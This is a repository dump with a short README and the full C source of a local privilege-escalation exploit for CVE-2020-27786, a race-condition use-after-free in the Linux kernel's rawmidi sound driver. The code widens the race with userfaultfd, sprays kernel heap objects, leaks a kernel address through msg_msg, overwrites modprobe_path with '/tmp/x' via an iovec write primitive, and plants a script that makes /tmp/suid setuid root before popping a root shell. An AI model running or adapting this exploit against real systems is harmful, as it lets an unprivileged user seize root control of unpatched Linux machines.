├── README.md └── exploit.c /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-27786 Kernel Exploit 2 | ## Details 3 | You can find full details and explaination here: https://1day.dev/notes/Linux-Kernel-n-day-exploit-development 4 | 5 | ## TL;DR 6 | The vulnerability is a Race Condition that causes a write Use-After-Free. The race window has been extended using the userfaultd technique handling page faults from user-space and using msg_msg to leak a kernel address and I/O vectors to obtain a write primitive. With the write primitive, the modprobe_path global variable has been overwritten and a root shell popped. 7 | -------------------------------------------------------------------------------- /exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include "krwx.h" 21 | #include 22 | #include 23 | #include 24 | #define TRUE (1==1) 25 | #define FALSE (!TRUE) 26 | #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ 27 | } while (0) 28 | 29 | 30 | #define DEV_RAWMIDI "/dev/snd/midiC0D0" 31 | #define MODPROBE_PATH_OFFSET 0x4AB60 /* from leaked init_ipc_ns */ 32 | #define ADDRESS_PAGE_FAULT_1 0x5550000 33 | #define ADDRESS_PAGE_FAULT_2 0x7770000 34 | #define PAGE_SIZE 0x1000 35 | 36 | struct thread_args{ 37 | int id; 38 | int uffd; 39 | void* addr_to_trigger; 40 | char* content; 41 | int size; 42 | }; 43 | 44 | struct thread_snd_write_args{ 45 | void* addr; 46 | size_t size; 47 | }; 48 | 49 | /* msg_msg */ 50 | #define Cyan(string) "\e[0;36m" string "\x1b[0m" 51 | #define BCyan(string) "\e[1;36m" string "\x1b[0m" 52 | #define MSGTYPE 0x537 53 | #define MSGKEY 0x1337 54 | struct msgbuf { 55 | unsigned long mtype; /* message type, must be >0 */ 56 | char mtext[1]; /* message data */ 57 | }; 58 | 59 | /* end msg_msg */ 60 | 61 | long uffd; /* userfaultfd file descriptor */ 62 | pthread_t tids[5]; 63 | int release_page_fault = TRUE; 64 | int fd_rawmidi; 65 | 66 | static void * 67 | fault_handler_thread(struct thread_args* arg) 68 | { 69 | static struct uffd_msg msg; /* Data read from userfaultfd */ 70 | long uffd; /* userfaultfd file descriptor */ 71 | static char *page = NULL; 72 | struct uffdio_copy uffdio_copy; 73 | ssize_t nread; 74 | void* addr_to_trigger; 75 | char* input_content; 76 | int input_size; 77 | 78 | uffd = arg->uffd; 79 | addr_to_trigger = arg->addr_to_trigger; 80 | input_content = arg->content; 81 | input_size = arg->size; 82 | 83 | /* Create a page that will be copied into the faulting region. */ 84 | 85 | if (page == NULL) { 86 | page = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, 87 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 88 | if (page == MAP_FAILED) 89 | errExit("mmap"); 90 | } 91 | 92 | /* Loop, handling incoming events on the userfaultfd 93 | file descriptor. */ 94 | //printf("[*][page_fault_handler] Starting page fault handler on %p\n", addr_to_trigger); 95 | 96 | for (;;) { 97 | /* See what poll() tells us about the userfaultfd. */ 98 | struct pollfd pollfd; 99 | int nready; 100 | pollfd.fd = uffd; 101 | pollfd.events = POLLIN; 102 | nready = poll(&pollfd, 1, -1); 103 | if (nready == -1) 104 | errExit("poll"); 105 | 106 | /* 107 | printf("\nfault_handler_thread():\n"); 108 | printf(" poll() returns: nready = %d; " 109 | "POLLIN = %d; POLLERR = %d\n", nready, 110 | (pollfd.revents & POLLIN) != 0, 111 | (pollfd.revents & POLLERR) != 0); 112 | */ 113 | 114 | /* Read an event from the userfaultfd. */ 115 | nread = read(uffd, &msg, sizeof(msg)); 116 | 117 | if (nread == 0) errExit("EOF on userfaultfd!"); 118 | if (nread == -1) errExit("read"); 119 | /* We expect only one kind of event; verify that assumption. */ 120 | if (msg.event != UFFD_EVENT_PAGEFAULT) errExit("Unexpected event on userfaultfd"); 121 | 122 | /* Display info about the page-fault event. */ 123 | printf("[+] Page Fault triggered for %p!\n", msg.arg.pagefault.address); 124 | //if(msg.arg.pagefault.address == (void*) ADDRESS_PAGE_FAULT_1 + PAGE_SIZE){ 125 | if(msg.arg.pagefault.address == (void*) addr_to_trigger){ 126 | //release_page_fault = FALSE; 127 | while(release_page_fault == TRUE); 128 | } 129 | else{ 130 | // Not our desired page fault 131 | printf("[-] NOT OUR CASE\n"); 132 | continue; 133 | } 134 | 135 | //printf("[+] PAGE FAULT RELEASED"); 136 | //printf(" UFFD_EVENT_PAGEFAULT event: "); 137 | //printf("flags = %"PRIx64"; ", msg.arg.pagefault.flags); 138 | //printf("address = 0x%"PRIx64"\n", msg.arg.pagefault.address); 139 | 140 | // Write into the new page desired input with desired input size 141 | memcpy(page, input_content, input_size); 142 | 143 | uffdio_copy.src = (unsigned long) page; 144 | /* We need to handle page faults in units of pages(!). 145 | So, round faulting address down to page boundary. */ 146 | 147 | uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &~(PAGE_SIZE - 1); 148 | uffdio_copy.len = PAGE_SIZE; 149 | uffdio_copy.mode = 0; 150 | uffdio_copy.copy = 0; 151 | if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) 152 | errExit("ioctl-UFFDIO_COPY"); 153 | 154 | //printf(" (uffdio_copy.copy returned %"PRId64")\n", 155 | // uffdio_copy.copy); 156 | release_page_fault = TRUE; 157 | break; 158 | } 159 | close(uffd); 160 | printf("[*] Page fault thread terminated\n" ); 161 | } 162 | 163 | void l_print_qword(void* address){ 164 | unsigned long first; 165 | unsigned long second; 166 | first = *(int64_t *) address; 167 | second = *(int64_t *) (address + 0x8); 168 | printf(BCyan("%p:\t"), address); 169 | printf(Cyan("0x%016lx 0x%016lx\n"), first, second); 170 | 171 | } 172 | 173 | void dump_memory(void* start_address, size_t size){ 174 | void* end_address = start_address + size; // also if not padded to 8 it will be fine in the loop condition 175 | //printf("[D] [read_memory] start_addres: %p\n[D][read_memory] end_address: %p\n", start_address, end_address); 176 | printf("\n"); 177 | while(start_address < end_address){ 178 | l_print_qword(start_address); 179 | start_address = start_address + (8 * 2); 180 | } 181 | } 182 | 183 | 184 | void* thread_sound_write(struct thread_snd_write_args* arg ){ 185 | void* addr; 186 | size_t size; 187 | ssize_t write_n; 188 | int fd_test; 189 | addr = arg->addr; 190 | size = arg->size; 191 | //printf("[*] snd_write thread with addr:%p and size: %d ..\n", addr, size); 192 | write_n = write(fd_rawmidi, addr, size); 193 | //printf("bytes written: %zu\n", write_n); 194 | 195 | } 196 | 197 | int sound_resize_params(int stream, size_t buffer_size, size_t avail_min) { 198 | // SNDRV_RAWMIDI_STREAM_OUTPUT 199 | //printf("[debug] calling SNDRV_RAWMIDI_IOCTL_PARAMS with buff_size %d\n", buffer_size); 200 | struct snd_rawmidi_params params = {0}; 201 | params.stream = stream; 202 | params.buffer_size = buffer_size; 203 | params.avail_min = avail_min; 204 | int ioctl_res = ioctl(fd_rawmidi, SNDRV_RAWMIDI_IOCTL_PARAMS, ¶ms); 205 | //printf("[debug] ioctl_res: %d\n", ioctl_res); 206 | if ( ioctl_res == -1) 207 | errExit("ioctl SNDRV_RAWMIDI_IOCTL_PARAMS"); 208 | return 0; 209 | } 210 | 211 | 212 | int get_msg(int qid, void* out_buf, int msg_len, int msg_type){ 213 | 214 | //struct msgbuf* rec_msg_buf = malloc( sizeof(rec_msg_buf) + msg_len); 215 | if (msgrcv( qid, out_buf, msg_len, msg_type, MSG_NOERROR | IPC_NOWAIT) == -1 ){ 216 | if( errno != ENOMSG) { 217 | perror("msgrcv"); 218 | return -1; 219 | } 220 | //errExit("msgrcv"); 221 | printf("[get_msg] No message received\n"); 222 | return 0; 223 | } 224 | return 1; 225 | } 226 | 227 | int send_msg(int qid, void* memory, int msg_len, int msg_type){ 228 | 229 | struct msgbuf* msg_buf; 230 | msg_buf = malloc( sizeof(struct msgbuf) + msg_len ); 231 | msg_buf->mtype = msg_type; 232 | memcpy(msg_buf->mtext, memory, msg_len); 233 | //printf("[send_msg] Sending msg with type 0x%x on qid: 0x%x\n", msg_type, qid); 234 | if( msgsnd(qid, msg_buf, ( sizeof(msg_buf) + msg_len) , IPC_NOWAIT) == -1 ){ 235 | errExit("msgsnd"); 236 | } 237 | return 0; 238 | } 239 | 240 | void init_userfault_thread(int th_num, void* addr_to_monitor, int range, char* input_content, int input_size){ 241 | struct uffdio_api uffdio_api; 242 | struct uffdio_register uffdio_register; 243 | int s; 244 | 245 | uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); 246 | if (uffd == -1) 247 | errExit("userfaultfd"); 248 | 249 | uffdio_api.api = UFFD_API; 250 | uffdio_api.features = 0; 251 | if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) 252 | errExit("ioctl-UFFDIO_API"); 253 | uffdio_register.range.start = (unsigned long) addr_to_monitor; 254 | uffdio_register.range.len = range; // IMPORTANT: The range 255 | uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; 256 | if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) 257 | errExit("ioctl-UFFDIO_REGISTER"); 258 | 259 | printf("[+] userfaultfd registered\n"); 260 | struct thread_args* args = (struct thread_args*) malloc(sizeof(struct thread_args)); 261 | args->id = 1337; 262 | args->uffd = uffd; 263 | args->addr_to_trigger = addr_to_monitor; 264 | args->content = input_content; 265 | args->size = input_size; 266 | s = pthread_create(&tids[th_num], NULL, fault_handler_thread,(void*) args); 267 | if (s != 0) { 268 | errno = s; 269 | errExit("pthread_create"); 270 | } 271 | 272 | } 273 | 274 | void spray_shm(int num) 275 | { 276 | int shmid[0x100] = {0}; 277 | void *shmaddr[0x100] = {0}; 278 | for(int i = 0; i < num; i++){ 279 | shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600); 280 | if (shmid[i] < 0) errExit("shmget"); 281 | shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY); 282 | if (shmaddr[i] < 0) errExit("shmat"); 283 | } 284 | } 285 | 286 | 287 | void prep_exploit(){ 288 | system("echo '#!/bin/sh' > /tmp/x"); 289 | system("echo 'touch /tmp/pwneed' >> /tmp/x"); 290 | system("echo 'chown root: /tmp/suid' >> /tmp/x"); 291 | system("echo 'chmod 777 /tmp/suid' >> /tmp/x"); 292 | system("echo 'chmod u+s /tmp/suid' >> /tmp/x"); 293 | system("echo -e '\xdd\xdd\xdd\xdd\xdd\xdd' > /tmp/nnn"); 294 | system("chmod +x /tmp/x"); 295 | system("chmod +x /tmp/nnn"); 296 | } 297 | 298 | void get_root_shell(){ 299 | system("/tmp/nnn 2>/dev/null"); 300 | system("/tmp/suid 2>/dev/null"); 301 | } 302 | 303 | int main(void) 304 | { 305 | printf("[*] Starting exploitation ..\n"); 306 | prep_exploit(); 307 | 308 | int pipefd[2]; 309 | if(pipe(pipefd) == -1) errExit("pipe"); 310 | 311 | void* addr = (void*) ADDRESS_PAGE_FAULT_1; 312 | if(mmap(addr, PAGE_SIZE * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED) errExit("mmap"); 313 | 314 | // Content that will be overwritten from the page fault handler 315 | char content_first_userfault[PAGE_SIZE]; 316 | memset(content_first_userfault, 0xff, PAGE_SIZE); 317 | 318 | // Init and start the user page fault thread 319 | // In this case the size is not important since we will block the write from the rawmidi write 320 | init_userfault_thread(1, addr + PAGE_SIZE, PAGE_SIZE, content_first_userfault, 0xff); 321 | 322 | fd_rawmidi = open(DEV_RAWMIDI, O_RDWR); 323 | if (fd_rawmidi < 0) errExit("fd"); 324 | 325 | /* START */ 326 | int qid[2]; 327 | srand(time(0)); 328 | int msgkey = rand(); 329 | int msgtype = rand(); 330 | qid[0] = msgget(msgkey, IPC_CREAT | 0666); 331 | if( qid[0] == -1 ) errExit("msgget"); 332 | 333 | // Spray SHM structs in kmalloc-32 334 | spray_shm(40); 335 | 336 | 337 | /* Allocate and re-size the buffer in order to have an arbitrary sized chunk */ 338 | // It's not important how much we write, kmalloc(PAGE_SIZE) will always be the first allocation 339 | char write_buffer[10] = {0}; 340 | memset(&write_buffer, 0x41, 10); 341 | printf("[*] First write to init substream..\n"); 342 | write(fd_rawmidi, &write_buffer, 4); 343 | 344 | // re-size in order to have an arbitrary sized chunk freed that lands in kmalloc-4096 345 | // this step can be skipped since our chunk is already in kmalloc-4096, but for future uses I keep it (if it's necessary to change the cache) 346 | printf("[*] Resizing buffer_size to 4096 ..\n"); 347 | // sound_resize_params(int stream, size_t buffer_size, size_t avail_min) 348 | sound_resize_params(SNDRV_RAWMIDI_STREAM_OUTPUT, 4090, 7); 349 | 350 | // Trigger the PAGE FAULT only at 0x5550000 + PAGE_SIZE 351 | // Since we want to overwrite msg_msg->ms_ts (at 0x18) (and we do not want to overwrite everything before) 352 | memset(addr, 0x43, PAGE_SIZE); 353 | struct thread_snd_write_args snd_write_arg; 354 | snd_write_arg.addr = addr + PAGE_SIZE - 0x18; 355 | snd_write_arg.size = 0x18 + 0x2; // 0x2 is the 0xffff that will be written in msg_msg->ms_ts 356 | 357 | // Trigger the page fault and lock in copy_from_user 358 | pthread_create(&tids[2], NULL, thread_sound_write, &snd_write_arg); 359 | printf("[*] snd_write triggered (should fault) \n"); 360 | 361 | // We have to trigger the buffer re-size in order to free the object 362 | // and allocate one our obj that fits in kmalloc-128 363 | // sound_resize_params(int stream, size_t buffer_size, size_t avail_min) 364 | printf("[*] Freeing buf using SNDRV_RAWMIDI_IOCTL_PARAMS\n"); 365 | sound_resize_params(SNDRV_RAWMIDI_STREAM_OUTPUT, 90, 1); 366 | 367 | /* Allocate msg_msg struct in kmalloc-128*/ 368 | 369 | /* 370 | void* chunk1 = kmalloc(4090, _GFP_KERN); 371 | release_page_fault = TRUE; // Tells the fault_handler thread to start its job 372 | 373 | read_memory(chunk1, 128 * 2); 374 | */ 375 | 376 | ///* 377 | void* mem = malloc(4096 * 2); 378 | memset(mem, 0x45, 4096 * 2); 379 | printf("[*] Replacing freed obj with msg_msg .\n"); 380 | send_msg(qid[0], mem, 4096 - 48 + (10), msgtype); // should fall in kmalloc-32 381 | memset(mem, 0x46, 1024); 382 | //void* temp = kmalloc(32, _GFP_KERN); 383 | spray_shm(4); 384 | release_page_fault = FALSE; // Tells the fault_handler thread to start its job 385 | 386 | printf("[*] Waiting for userfaultd to finish ..\n"); 387 | while(release_page_fault == FALSE); // Waits that the page fault handler ends 388 | printf("[+] Page fault lock released\n"); 389 | unsigned long* res = malloc(4096 * 2); 390 | memset(res, 0x0, 4096 * 2); 391 | get_msg(qid[0], res, 4096 * 2, msgtype); 392 | //dump_memory(res, 4096 * 2); 393 | 394 | // init_pc_]ns is @ res + 0xe0 395 | unsigned long init_ipc_ns = *(res + (0xff8 / sizeof(unsigned long))); 396 | unsigned long modprobe_path = init_ipc_ns - MODPROBE_PATH_OFFSET; 397 | printf("[+] init_ipc_ns @0x%lx\n", init_ipc_ns); 398 | printf("[+] calculated modprobe_path @0x%lx\n", modprobe_path); 399 | 400 | 401 | /* ARBITRARY WRITE */ 402 | printf("[+] Starting the arbitrary write phase ..\n"); 403 | release_page_fault = TRUE; 404 | 405 | printf("[*] Closing and reopening re-opening rawmidi fd ..\n"); 406 | close(fd_rawmidi); 407 | fd_rawmidi = 0; 408 | fd_rawmidi = open(DEV_RAWMIDI, O_RDWR); 409 | if (fd_rawmidi < 0) errExit("fd"); 410 | 411 | // We want to do the same 412 | // Register page fault of a mmap region 413 | if(mmap(ADDRESS_PAGE_FAULT_2, PAGE_SIZE * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED) errExit("mmap"); 414 | 415 | memset(content_first_userfault, 0x0, PAGE_SIZE); 416 | *(unsigned long*) (content_first_userfault) = modprobe_path; // iov.iov_base 417 | *(unsigned long*) (content_first_userfault + 0x8) = 0x8; // iov.iov_len => sizeof(tmp/x); 418 | *(unsigned long*) (content_first_userfault + 0x10) = 0xdeadbeefdeadbeef; 419 | *(unsigned long*) (content_first_userfault + 0x18) = 0x8; 420 | 421 | //dump_memory(content_first_userfault, 0x40); 422 | init_userfault_thread(3, ADDRESS_PAGE_FAULT_2 + PAGE_SIZE, PAGE_SIZE * 2, content_first_userfault, 0x10); 423 | 424 | // Can we do the same with the same file descriptor opened? 425 | printf("[*] First write to init substream..\n"); 426 | // reusing the prev write_buffer 427 | int res_w = write(fd_rawmidi, &write_buffer, 4); 428 | //printf("write res: %d\n", res_w); 429 | // re-size in order to have an arbitrary sized chunk freed that lands in kmalloc-256 430 | printf("[*] Resizing buffer_size to land into kmalloc-256 ..\n"); 431 | // sound_resize_params(int stream, size_t buffer_size, size_t avail_min) 432 | sound_resize_params(SNDRV_RAWMIDI_STREAM_OUTPUT, 250, 2); 433 | 434 | // Trigger PAGE_FAULT 435 | struct thread_snd_write_args write_args; 436 | write_args.addr = ADDRESS_PAGE_FAULT_2 + PAGE_SIZE - 0x10; 437 | write_args.size = 0x20; 438 | 439 | //printf("RESULT: %d, ", write(fd_rawmidi, ADDRESS_PAGE_FAULT_2, 10)); 440 | pthread_create(&tids[4], NULL, thread_sound_write, &write_args); 441 | printf("[*] snd_write triggered (should fault) \n"); 442 | 443 | printf("[*] Freeing buf from SNDRV_RAWMIDI_IOCTL_PARAMS\n"); 444 | // size is not important, this one is just necessary to free the previous allocated chunk in kmalloc-256 445 | sound_resize_params(SNDRV_RAWMIDI_STREAM_OUTPUT, 300, 1); 446 | 447 | struct iovec iov_read_buffers[13] = {0}; 448 | char read_buffer0[0x100]; 449 | memset(read_buffer0, 0x52, 0x100); 450 | iov_read_buffers[0].iov_base = read_buffer0; 451 | iov_read_buffers[0].iov_len= 0x10; 452 | iov_read_buffers[1].iov_base = read_buffer0; 453 | iov_read_buffers[1].iov_len= 0x10; 454 | iov_read_buffers[8].iov_base = read_buffer0; 455 | iov_read_buffers[8].iov_len= 0x10; 456 | iov_read_buffers[12].iov_base = read_buffer0; 457 | iov_read_buffers[12].iov_len= 0x10; 458 | 459 | if(!fork()){ 460 | ssize_t readv_res = readv(pipefd[0], iov_read_buffers, 13); // 13 * 16 = 208 => kmalloc-256 461 | exit(0); 462 | } 463 | // ALLOCATE 464 | printf("[*] Waiting for readv ..\n"); 465 | sleep(1); // Waits for readv allocation 466 | release_page_fault = FALSE; // Tells the fault_handler thread to start its job 467 | while(release_page_fault == FALSE); // Waits that the page fault handler ends 468 | printf("[+] Page fault lock released\n"); 469 | // TRIGGER 470 | char write_buf[128]; 471 | memset(write_buf, 0x57, 128); 472 | *(unsigned long*) ( write_buf + 0x10) = 0x00782f706d742f; // /tmp/x 473 | printf("[*] Writing into the pipe ..\n"); 474 | ssize_t write_res = write(pipefd[1], write_buf, 0x10 + 0x8); 475 | printf("[*] write = %zd\n", write_res); 476 | 477 | printf("[+] enjoy your r00t shell [:\n"); 478 | get_root_shell(); 479 | 480 | } 481 | --------------------------------------------------------------------------------